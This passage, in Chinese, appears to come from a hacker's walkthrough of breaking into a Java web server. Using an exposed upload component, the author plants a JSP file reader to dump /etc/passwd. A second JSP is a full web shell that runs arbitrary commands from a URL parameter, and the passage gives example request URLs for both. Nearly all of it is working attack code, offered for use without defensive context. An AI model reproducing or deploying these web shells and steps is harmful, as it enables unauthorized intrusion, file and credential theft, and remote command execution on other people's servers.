接着,点击“VIEW ALL CONTEXT”按钮,列出了WEB目录下的一些文件和目录的名称,很快发现了一个上传文件的组件,通过这个组件将一个JSP文件上传到对方的WEB目录里:
<%@ page import="java.io.*" %>
<%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"<br>");
}
}catch(IOException e){}
%>
然后执行:
http://target:8080/upload/test.jsp?file=/etc/passwd
密码出来了。接下来的过程是猜测密码,没有成功。不过,现在相当于有了一个SHELL,猜不出密码可以先把IE当作SHELL环境。
再写一个JSP文件:
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
然后把这个JSP再通过upload上传,有SHELL了。
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(详细结果这里就不列出来了)
